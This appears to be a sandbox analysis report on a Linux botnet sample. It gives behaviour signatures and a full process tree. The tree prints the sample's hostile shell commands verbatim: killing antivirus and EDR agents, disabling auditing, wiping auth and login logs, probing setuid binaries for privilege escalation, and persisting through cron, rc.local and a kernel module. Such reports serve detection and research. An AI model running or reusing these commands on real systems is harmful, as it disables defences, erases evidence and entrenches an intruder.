Analysis
- max time kernel
149s - max time network
154s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
14/10/2026, 17:15
General
- Target shem_bot_x86_64.elf
- Size 1.0MB
- Sample261014-vsrmhaywcs
- SHA256 674107dcf1a876489123240add215cbb92649c2bbb321780057822232891ac10
Score
8/10
Malware Config
Signatures
- Contacts a large (509) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Creates Raw socket 1 IoCs
Creates a socket that captures raw packets at the device level
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- OS Credential Dumping 1 TTPs 1 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 4 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Reads AppArmor ptrace settings 1 TTPs 1 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
- Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Deletes log files 1 TTPs 4 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- Reads hardware information 1 TTPs 1 IoCs
Accesses system info like serial numbers, manufacturer names etc.
- Reads network interface configuration 2 TTPs 12 IoCs
Fetches information about one or more active network interfaces.
- Schedules an At job 1 TTPs 1 IoCs
Schedules a job to be run using the at command.
- Uses Polkit to run commands 1 IoCs
Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 8 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/shem_bot_x86_64.elf/tmp/shem_bot_x86_64.elf1⤵
- Modifies Watchdog functionality
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Writes file to tmp directory
-
/bin/shsh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/bin/cpcp /proc/self/exe /var/.z3⤵
-
-
/bin/chmodchmod +x /var/.z3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c -- "pkill -9 -x kavsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavf4 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavguard 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msvsc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msasc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msmpeng 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avastsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ash 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamdscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamonacc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [x]agt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]datp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x gafgyt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x bashlite 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x tsunami 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x hakai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x sora 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x qbot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x astaroth 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ozyman 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x nihappy 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"2⤵
-
/usr/bin/unlinkunlink /proc/self/exe3⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/03⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/13⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/103⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/113⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/123⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/133⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/143⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/153⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/163⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/173⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/193⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/23⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/203⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/213⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/223⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/233⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/243⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/253⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/263⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/273⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/283⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/293⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/33⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/303⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/313⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/323⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/333⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/343⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/353⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/363⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/373⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/383⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/393⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/43⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/423⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/53⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/63⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/73⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/83⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/93⤵
-
-
-
/bin/shsh -c -- "/usr/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chfn/usr/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/passwd/usr/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/pkexec/usr/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/usr/bin/traceroute6.iputils -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/traceroute6.iputils/usr/bin/traceroute6.iputils -c "exec /tmp/.z &"3⤵
- System Network Configuration Discovery
-
-
-
/bin/shsh -c -- "/usr/bin/ubuntu-core-launcher -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/ubuntu-core-launcher/usr/bin/ubuntu-core-launcher -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/arping -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/arping/usr/bin/arping -c "exec /tmp/.z &"3⤵
- Creates Raw socket
-
-
-
/bin/shsh -c -- "/usr/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chsh/usr/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudo/usr/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atrm/usr/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newgrp/usr/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudoedit/usr/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/gpasswd/usr/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/sg/usr/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/traceroute6 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/traceroute6/usr/bin/traceroute6 -c "exec /tmp/.z &"3⤵
- System Network Configuration Discovery
-
-
-
/bin/shsh -c -- "/usr/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/at/usr/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/usr/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atq/usr/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping4 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping4/bin/ping4 -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping6 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping6/bin/ping6 -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/su/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/umount/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping/bin/ping -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/fusermount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/fusermount/bin/fusermount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mount/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "find / -perm -4000 -type f -exec /tmp/.z \\; 2>/dev/null"2⤵
-
/usr/bin/findfind / -perm -4000 -type f -exec /tmp/.z ";"3⤵
- Reads AppArmor ptrace settings
- Reads hardware information
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
-
-
/bin/shsh -c -- "(crontab -l 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z') | crontab - 2>/dev/null; echo '*/5 * * * * root { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /etc/cron.d/zbot 2>/dev/null; echo '{ [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/rc.local 2>/dev/null &"2⤵
- Creates/modifies Cron job
- Modifies rc script
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c -- "echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /var/spool/cron/zbot 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/crontab 2>/dev/null &"2⤵
- Creates/modifies Cron job
-
-
/bin/shsh -c -- "insmod /tmp/zbot.ko 2>/dev/null; modprobe zbot 2>/dev/null &"2⤵
-
/sbin/insmodinsmod /tmp/zbot.ko3⤵
-
-
-
/usr/bin/pkillpkill -9 -x kavsvc1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x kavf41⤵
-
/usr/bin/pkillpkill -9 -x kavguard1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp51⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp61⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msvsc1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msasc1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msmpeng1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msseces1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msseces.exe1⤵
-
/usr/bin/pkillpkill -9 -x avast1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast51⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast61⤵
-
/usr/bin/pkillpkill -9 -x avastsvc1⤵
-
/usr/bin/pkillpkill -9 -x ash1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ashmaisv1⤵
-
/usr/bin/pkillpkill -9 -x avgnt1⤵
-
/usr/bin/pkillpkill -9 -x avgnt.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt21⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avgnt31⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamd1⤵
-
/usr/bin/pkillpkill -9 -x clamdscan1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamonacc1⤵
-
/usr/bin/pkillpkill -9 -x f-prot1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-prot641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-sport1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x f-sport641⤵
-
/usr/bin/pkillpkill -9 -x smon1⤵
-
/usr/bin/pkillpkill -9 -x smon21⤵
-
/usr/bin/pkillpkill -9 -x smon31⤵
-
/usr/bin/pkillpkill -9 -x mcs1⤵
-
/usr/bin/pkillpkill -9 -x mcs21⤵
-
/usr/bin/pkillpkill -9 -x mcs31⤵
-
/usr/bin/pkillpkill -9 -x navpsv321⤵
-
/usr/bin/pkillpkill -9 -x navpsv641⤵
-
/usr/bin/pkillpkill -9 -x navw321⤵
-
/usr/bin/pkillpkill -9 -x navw641⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avpsvc.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpcc.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpm.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp9.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp10.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp11.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp12.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp13.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp14.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp15.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp16.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp17.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp18.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp19.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp20.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp21.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp22.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp23.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp24.exe1⤵
-
